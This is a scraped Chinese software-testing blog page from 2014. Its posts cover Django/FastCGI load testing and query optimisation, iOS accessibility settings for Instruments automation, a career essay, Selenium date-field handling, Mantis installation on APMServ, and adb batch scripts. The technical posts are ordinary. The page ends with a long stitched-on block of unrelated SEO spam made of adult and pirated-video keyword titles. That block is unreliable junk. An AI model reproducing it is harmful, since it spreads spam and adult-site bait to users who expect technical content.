      對于匿名用戶來說,主頁基本上是靜態的,它只是簡單的渲染某個模板而無需數據庫的任何數據。
      “墻”頁面則非常動態,包括了從數據庫獲取的主要數據。該模板在被渲染時,針對不同時區用戶的日期設置“刪除”了指向某些物件的鏈接,等等。某些“墻”包含了大約50個物件,在被優化前,大約要發起 80 條數據庫查詢。
      第一次測試時,我們運行了兩個可以從 Django 接受請求 FastCGI 后端。
      Home: 175 req/s (即每秒請求數量)Wall: 8 req/s.
      經壓縮的內容
      第一個配置優化是使用 GZipMiddleware 激活輸出的 gzip  壓縮。性能輕微提高,沒有大的變化。但無論如何為了節約帶寬,這么做還是值得的。
      Home: 200 req/s.
      Wall: 8 req/s.
      更多進程,更短的隊列
      然后,我們將 FastCGI 后端的數量從 2 個提升到 5 個。這項改進減少了 500 響應的數量,因為更多的請求可以由額外的后端來處理。
      Home: 200 req/s.
      Wall: 11 req/s.
      更多的進程,更多的問題
      從 2 到 5 的改進非常不錯,因此我們決定將  FastCGI 后端數量提升到 10 。性能卻顯著地 下降 了。
      經查看服務器上的 vmstat ,可以看到原因是出現了內存交換。太多的進程,每個都為 Python 使用了內存,導致 VPS 內存耗盡,從而不得不從硬盤往返交換內存。
      Home: 150 req/s.
      Wall: 7 req/s.
      基于此,我們將 FastCGI 后端數量降回 5 以進行更多測試。
      分析——時間耗到哪里去了
      “墻”頁面的性能令人失望,因此我們開始進行優化。我們所做第一件事情是分析代碼以確定時間都被花費在何處。
      使用一些簡單的 分析中間件 之后,很清楚地發現時間被消耗在數據庫查詢之上。“墻”頁面包括許多查詢,且數量與其所包含的物件數量呈正比。測試墻頁面上引發了大約 80 個查詢。毫無疑問其性能是糟糕的。
      進行優化
      通過優化物件附加媒體的處理方式,我們直接給每個物件剔除了一次查詢。該措施稍微地減少了請求所需時間,因此也提高了每秒可處理的查詢數量。
      Wall: 12 req/s.
      導致低效的另一個原因是無論頁面是否被請求,對每個物件的內容都應用了多個過濾器(Filter)。經我們修改,被過濾內容的 HTML 輸出都被存儲在物件當中,節約了頁面被查閱時的需要進程。這又帶來一點小小改進。
      Wall: 13 req/s.
      通過減少數據庫查詢,我們以修改用戶配置文件(用于顯示是誰將該物件粘貼到墻上)的獲取方式為每個物件剔除了一次查詢。這次修改又提高了不少。
      Wall: 15 req/s.
      這場測試的最后一次優化目標是減少獲取物件所附加媒體的查詢數量。我們再一次削減了一些查詢,稍微地提高了性能。
      Wall: 17 req/s.
      下一步:緩存
      在盡可能地減少查詢之后,接下來要進行一些緩沖工作。獲取緩存數據通常比查詢數據庫更加快捷,因此我們期待性能有一個顯著提升。
      對整個頁面的輸出進行緩存是沒有意義的,因為每個頁面根據發出請求的用戶不同而截然不同。只有當用戶對同一頁面的兩次請求之間,情況沒有發生任何變化,才可能出現緩存命中。
      對墻、物件及用戶的列表進行緩存的作用更大。被緩存的數據將被用于從同一用戶發出的多個請求,及在對于墻壁的不同程度和不同用戶訪問之間共享。這未必是巨大的勝利,因為每個“墻”很可能只有極少數的用戶,而數據必須在高速緩存中停留足夠長的時間以被別人獲取。
      在這種情況下,我們簡化的 httperf 測試將會被極大地誤導。每個請求都由同一用戶發出,因此緩存命中幾乎是100%,而性能將因此極高!這反映不出真實世界的站點使用情況,因此我們最好進行一些更好的測試。
      目前我們還沒有使用緩存,因為站點可以輕松地應對的當前活動水平,但一旦 Hey! Wall 流行起來,這將是我們的下一個步驟。
      多少用戶能夠導致每秒17次請求?
      提供每秒 17 次請求相應看起來仍然非常少,但將該數據翻譯成站點的實際用戶量是非常有趣的事情。顯然,這數據不包括提供像圖片、CSS 和 JavaScript 文件之類的媒體文件服務。相對來說,媒體文件個頭要大一些,但它們直接由 Lighttpd (而不是 Django)處理,并提供了 Expires 頭部信息來允許客戶端對它們進行緩存。不過,為了在測試中更好地進行評估,我們還是需要對服務器進行一些處理。
      現在說采用何種通用模式還為時過早,因此我說的只能是猜測。請允許我這么說!
      我將假定每個用戶平均訪問三個“墻”,并按順序查看它們的內容,暫停10至20秒時間以閱讀新的評論,或查看一些照片和打開一些鏈接。該用戶每天進行三次這種操作。
      只看墻頁面,不看媒體的話,用戶將每天對墻頁面發起 9 次訪問請求。每個用戶一次只能發起一次訪問請求,因此在時間上,任何一秒內 17 個用戶可以同時進行該操作。一分鐘內,用戶只發出3次訪問請求,因此17個并發用戶只用去了60 秒中的 3 秒(或20秒中的1秒)。
      如果一段時間內用戶的請求分布是完全平衡的(提示:不可能的!),那也就意味著每分鐘可以有 340 用戶(17 * 20)訪問該網站。延續這個不真實的例子,我們可以說每天有 1440 分鐘,而每個用戶每天訪問網站 3 分鐘,因此該網站可以應對大約 163,000 個用戶。這對于一個每月 20 美元的 VPS 來說已經非常棒了!
      為了更多統計一下這些數字,讓我們假定每天6小時內,我們每分鐘應對 200 個并發用戶,另 6 個小時內(每分鐘)應對 100 個并發用戶,剩下的 12 小時內(每分鐘)應對 10 個并發用戶?;诿棵?17 次請求的最大負荷,網站每天仍然可以應對的大約 115,000 個用戶。
      我確信這些數字并不虛假和荒謬。如果有人在評論中提出更好的評估方案或者真實世界的數據,我將非常感興趣。
      我們學到了什么?
      概括:
      測試網站性能可能會產生令人驚異的結果
      過多的數據庫查詢對性能(duh)來說不是件好事
      對站點的某類內容進行緩存比對其他一些更好
      一臺廉價的 VPS 所能應對的用戶數量比你所想像的要多得多

    posted @ 2014-07-02 16:35 順其自然EVO 閱讀(344) | 評論 (0)編輯 收藏

    IOS無線客戶端自動化測試

    做IOS自動化的過程中,會遇到兩個問題,需要開發對代碼的支持。
      1. 用instruments總是會獲取不到一些UI元素
      2. 客戶端中沒有固定的ID供測試代碼來確定頁面元素。然后只能通過target.frontMostApp().mainWindow().scrollViews()[0].tableViews()[0].cells()[0].tap(); 這樣的方式來定位元素。
      第一個問題產生的原因是在客戶端開發的過程,需要自定義大量的UIView來滿足需求。這些UI有兩種構建方式,
      1. 用原生的UI組件來拼接
      2. 通過一些自己來畫
      instruments 是通過元素的isAccessibilityElement屬性來判定元素是否可見。
      解決方案:
      1. 原生的UI組件的isAccessibilityElement默認是YES的。自定義的UI組件的isAccessibilityElement屬性是NO,當isAccessibilityElement為NO時,instruments將無法捕獲。而且蘋果的UI還有覆蓋性之說,所以這種情況,我們需要將自定義的 UI的子UI的isAccessibilityElement屬性置為YES,而不是自定義的UI本身,instruments就能獲取到。
      如
    @interface SNCommentHeaderView : UIView
    {
    UIImageView    *headerBgView;
    UILabel        *titleLabel;
    }
    - (id)initWithFrame:(CGRect)frame
    {
    NSLog(@"SNCommentHeaderView_init");
    self = [super initWithFrame:frame];
    if (self) {
    // Initialization code
    headerBgView = [[UIImageView alloc] initWithImage:[UIImage skinImageNamed:@"comment_sectionheader_title_bg.png"]];
    CGRect bgFrame = headerBgView.frame;
    bgFrame.origin.y = 10;
    headerBgView.frame = bgFrame;
    headerBgView.isAccessibilityElement = YES;
    [self addSubview:headerBgView];
    titleLabel = [[UILabel alloc] initWithFrame:UIEdgeInsetsInsetRect(bgFrame, UIEdgeInsetsMake(0, 0, 1.5, 0))];
    titleLabel.backgroundColor = [UIColor clearColor];
    titleLabel.font = [UIFont fontWithName:BOLD_FONT_NAME size:12];
    titleLabel.textAlignment = UITextAlignmentCenter;
    titleLabel.textColor = [UIColor skinColorForKey:SNSkinCommentSectionHeaderColor];
    titleLabel.isAccessibilityElement = YES;
    [self addSubview:titleLabel];
    }
    return self;
    }
      2. 非原生控件成的UI,instruments暫時是不支持獲取的。在蘋果官方文檔中又一套非正式的創建自定義UI的方式。針對這種情況,只能通過去定位他的父節點定位了。如果需要驗證的話,可以將自定義UI的內容通過設置accessibilityIdentifier或者accessibilityLabel,然后通過父節點取得值來驗證。
      做IOS自動化,只能通過target.frontMostApp().mainWindow().scrollViews()[0].tableViews()[0].cells()[0].tap(); 這樣來定位坐標是個很原始的方式,而且需要變化比較快,一旦UI方式改變,case會受到很大的影響。所以假使在源碼中通過對一些比較固定或case中功能點的元素設置accessibilityIdentifier,然后腳本可以通過這accessibilityIdentifier來定位元素,可以大大減少自動化腳本的維護成本,也可大大提高開發速度。

    posted @ 2014-07-02 16:34 順其自然EVO 閱讀(769) | 評論 (0)編輯 收藏

    要想成為高級軟件測試人員,需要做全才嗎?

    在回答要不要做全才之前,我們應該先弄清楚一個問題,作為一個全才應該需要哪些能力?
      我認為作為一個測試人員,應該具備四方面知識:測試基礎,行業業務儲備,測試工具和技術,測試管理能力和經驗。
      以上四方面也是測試人員晉升的參考,當然測試基礎咱們都有就看儲備了多少,其他三方面是咱們努力的方向。
      測試基礎是所有測試人員應該具備的,其他三項精于一項可以一招鮮,精于兩項可以稱之為高手,精于三項的話?我的天啦
      行業業務知識,基本上可以說能夠稱為行業的,基本上其業務知識就不是一年兩年可以弄清楚的,比如金融,ERP,供應鏈,游戲
      測試工具和技術,精于測試的大兩項(性能和自動化)就已經在這個行業可以很好了,還有安全測試數據庫,WEB測試甚至一些其他測試。技術是沒有邊界的,同時技術一直在發展。
      測試管理能力和經驗,以前認為做管理的要通才,都懂一些的人但可以不精。等后來PMP大行其道的時候,發現原來項目管理也有方法,將這些方法用熟工作自然就做好了。
      現在,請問:親愛的朋友,你想做全才嗎?你還能做全才嗎?
      我的答案是,業務、技術,管理三大方面都要有所儲備,不要因為自己對哪方面不擅長而放棄,這是咱們職業進階的錢途,是錢途就沒有放棄的想法。
      說到現在,我想我支持的是全能型的全才這個觀點,但這一次畢竟不是話題PK,所以我不需要明確的支持哪個觀點。
      據我多年的經驗,一個人要完成全才這個戰略目標,咱們這個行業也許還有,但肯定不多。
      因為社會已經實現了高度分工與合作的特點,每一個人的工作限制了他主要應用的是某幾方面的知識和技能。
      如果被認為是萬金油型的成員,要么就成為了公司的一把手人物(張小龍級別),要么就是角色不固定的團隊拼圖成員。
      在NBA里面,萬金油型的隊員沒有成為球隊核心的,除了james,也沒有能打五個位置還是球隊核心的成員。
      當今的主流文化告訴咱們,要成為團隊的核心,要的是多能一專,用一專來取得團隊的認可,用多能來黏合整個團隊。
      最后引用韓寒在《穿著棉襖洗澡》中的一段話作為結束語:如果現在這個時代能出全才,那便是應試教育的幸運和這個時代的不幸。如果有,他便是人中之王,可惜沒有,所以我們只好把“全”字人下的“王”給拿掉。時代需要的只是人才。
    原帖地址:http://bbs.51testing.com/viewthread.php?tid=1016285

    posted @ 2014-07-02 16:33 順其自然EVO 閱讀(316) | 評論 (0)編輯 收藏

    Selenium模擬光標進入和tab鍵移動

     在做一個項目的selenium測試,但是遇到一個問題,通過tape語句輸入日期之后,到selenium運行到查詢按鈕的時候,
      輸入的日期卻是不正確了。比如輸入04102013,結果卻04/02/13__。輸入04/10/2013,結果卻是04/10/20。
      后來深入的研究了日期輸入框的行為,原來是系統在js上做了一些特殊的處理。光標進入時,把格式掩碼(如/)去掉,
      顯示數字,光標離開之后,進行格式掩碼處理。 并且限制該輸入框的最大輸入長度為8。因此,才造成上面的幾種錯誤。
      所以,我們就采用下面的作法,模擬光標的進入,賦值,光標離開。
    selenium.focus("id=condition.orderNo");   //id=condition.fromDate的上一個項目
    selenium.keyPressNative("09");  //模擬鍵入tab鍵
    selenium.focus("id=condition.fromDate"); // 設光標
    selenium.type("id=condition.fromDate", "04102013"); //賦值
    selenium.focus("id=condition.fromDate");  //設光標
    selenium.keyPressNative("09"); //模擬鍵入tab鍵

    posted @ 2014-07-02 16:32 順其自然EVO 閱讀(1172) | 評論 (0)編輯 收藏

    Windows下搭建及配置Mantis缺陷管理工具

     在windows XP 操作系統下,如何更快、更容易地搭建及配置mantis缺陷管理工具呢?以下是我實踐的具體步驟:
      一、安裝mantis的前提環境,需要先安裝Apache HTTP Server2.2、PHP 5、MySQL5.1
      網上下載APMServ5.2.6工具,APMServ 5.2.6 是一款擁有圖形界面的快速搭建Apache 2.2.9、PHP 5.2.6、MySQL 5.1.28&4.0.26、Nginx、Memcached、phpMyAdmin、OpenSSL、SQLite、ZendOptimizer,以及ASP、CGI、Perl網站服務器平臺的綠色軟件。
      下載完解壓后,把它放在C盤根目錄下。
      注意:如果你的電腦已經安裝了MySQL數據庫,啟動APMServ5.2.6工具時會報MySQL數據庫啟動失敗,原因是3306端口號被占用了,解決方法是,先在cmd窗口命令輸入netstat -ano ,查找占用3306端口的進程并且在任務管理器中結束該進程,然后打開本地電腦的MySQL服務,啟動服務,最后再啟動APMServ5.2.6工具。
      二、安裝mantis
      1、官網下載mantisbt-1.2.17 ,下載地址:http://www.mantisbt.org/download.php
      解壓下載的安裝包,將它放到C:\APMServ5.2.6\www\htdocs目錄下,打開瀏覽器訪問http://127.0.0.1,點擊mantisbt-1.2.17,出現安裝mantis界面,輸入數據庫連接信息,點擊“Install/Upgrade Databasenstall”,如圖
      2、出現如下圖,可以看到“install was successful”,說明mantis已經安裝成功
    三、mantis配置
      其實mantis的安裝非常容易,重點是mantis如何配置,包括簡體中文設置、日期格式設置、郵件通知設置、顯示統計報表設置等,下面作介紹:
      1、進入mantisbt-1.2.17文件夾下,我這里的路徑是C:\APMServ5.2.6\www\htdocs\mantisbt-1.2.17,復制config_defaults_inc.php到該目錄下重命名為config_inc.php,并打開config_inc.php,修改如下內容:
     ?。?)、mantis語言設置
      $g_default_language                = 'english'; //將english  改為chinese_simplified
     ?。?)、日期格式設置
      $g_complete_date_format = 'Y-m-d H:i T'; //改為習慣的日期格式
     ?。?)、郵件設置
    $g_enable_email_notification = ON;//開啟郵件通知
    $g_phpMailer_method  = 2; //以smtp發送郵件
    $g_smtp_host   = 'smtp.163.com:25'; //設置郵箱服務器,我這里是使用163郵箱
    $g_smtp_username = 'username';  #郵箱賬號,記得不用加@及后面的域名內容
    $g_smtp_password = 'pwd';//自己登陸郵箱的密碼
    $g_return_path_email = 'username@163.com';//郵件發送或返回的郵箱
     ?。?)、添加PHP郵件服務
     ?。ㄗ⒁猓哼@里需要在網上下載PHPMailer_5.2.4,解壓后放在隨便的目錄,我這里的路徑為C:\PHPMailer_5.2.4)
      $g_use_phpMailer = ON;
      $g_phpMailer_path = C:\PHPMailer_5.2.4';  //phpMailer路徑,可以寫相對路勁,但我填寫相對路徑發送郵件沒成功。
     ?。?)、圖形報表設置
      安裝JPGraph,下載地址:http://hem.bredband.net/jpgraph/jpgraph-1.21b.tar.gz,解壓縮到mantis的路徑下,我這里是C:\APMServ5.2.6\www\htdocs\mantisbt-1.2.17,修改文件內容
      $g_jpgraph_antialias = ON;//開啟圖形報表
      $g_jpgraph_path   = C:\APMServ5.2.6\www\htdocs\mantisbt-1.2.17\jpgraph\src\';//添加指定的路徑
      在C:\APMServ5.2.6\PHP目錄下編輯php.ini將“;extension=php_gd2.dll”前面的分號刪除,這個模塊是JPGraph在顯示圖表和進行漢字編碼轉換是所必須的。
      其實之前已經設置了mantis的簡體中文顯示了,而APMServ5.2.6集成得很好,沒有出現亂碼問題。
      四、登錄mantis
      打開瀏覽器,訪問http://127.0.0.1/mantisbt-1.2.17/login_page.php,登錄界面有兩個警告,如圖:
      解決方法:1、使用administrator用戶登錄,密碼為root,登錄進去后,修改密碼;
      2、將mantis下的admin文件夾刪除,或者修改名字作為日后備份;

    posted @ 2014-07-02 16:32 順其自然EVO 閱讀(641) | 評論 (0)編輯 收藏

    Android測試提升效率批處理腳本

     前言:
      APP測試過程中,經常需要用的一些命令,如adb,每次敲命令,雖可以加深印象,但個人認為那即繁瑣又浪費時間。本文貼出一些我使用的批處理,以及一點點小小技巧。
      目錄
      1、[查看APK文件信息.bat]
      2、[自動安裝APK.bat]
      1、[查看APK文件信息.bat]
    @ECHO OFF
    ECHO [查看APK包信息]
    ECHO -------------------------------
    ECHO aapt dump badging %~nx1
    aapt dump badging %1 > %~dp0%~n1.txt
    ECHO [暫停3秒自動關閉...]
    ping -n 3 127.0.0.1>nul
    @ECHO ON
      使用方法:將APK直接拖至bat文件上即可,信息保存在bat所在目錄下的txt文件里
      2、[自動安裝APK.bat]
    @ECHO OFF
    ECHO [安裝APK]
    ECHO -------------------------------
    ECHO [等待插入手機...]
    adb wait-for-device
    ECHO [安裝] %~nx1
    adb install -r %1
    ECHO [暫停5秒自動關閉...]
    ping -n 5 127.0.0.1>nul
    @ECHO ON
      使用方法:將APK直接拖至bat文件上即可

    posted @ 2014-07-02 16:32 順其自然EVO 閱讀(197) | 評論 (0)編輯 收藏

    僅列出標題
    共394頁: First 上一頁 90 91 92 93 94 95 96 97 98 下一頁 Last 
    <2025年5月>
    27282930123
    45678910
    11121314151617
    18192021222324
    25262728293031
    1234567

    導航

    統計

    常用鏈接

    留言簿(55)

    隨筆分類

    隨筆檔案

    文章分類

    文章檔案

    搜索

    最新評論

    閱讀排行榜

    評論排行榜

    主站蜘蛛池模板: 在线免费观看国产视频| 亚洲国产高清在线精品一区| 一个人免费观看www视频在线| 一级一级毛片免费播放| 国产成人精品日本亚洲专区6| 亚洲AV午夜福利精品一区二区 | 精品亚洲视频在线观看| 午夜高清免费在线观看| 国内精品免费麻豆网站91麻豆| 国产永久免费高清在线| caoporn国产精品免费| 噜噜综合亚洲AV中文无码| www.亚洲成在线| 亚洲日产2021三区在线| 亚洲狠狠综合久久| 亚洲第一AAAAA片| 中文字幕久久亚洲一区| 亚洲无圣光一区二区| 亚洲高清专区日韩精品| 国产自偷亚洲精品页65页| 亚洲AV中文无码乱人伦| 国产嫩草影院精品免费网址| 四虎在线视频免费观看| 久久精品女人天堂AV免费观看| av无码国产在线看免费网站 | 亚洲免费观看在线视频| 亚洲综合国产精品| 在线精品免费视频| 成年人免费观看视频网站| 色婷婷7777免费视频在线观看| 97碰公开在线观看免费视频| 久久免费看黄a级毛片| 亚洲免费观看网站| 1024免费福利永久观看网站| 99re热免费精品视频观看| 无码人妻一区二区三区免费| 成全影视免费观看大全二| 日韩免费高清视频| 亚洲国产精品激情在线观看| 国产L精品国产亚洲区久久| 久久精品国产精品亚洲人人|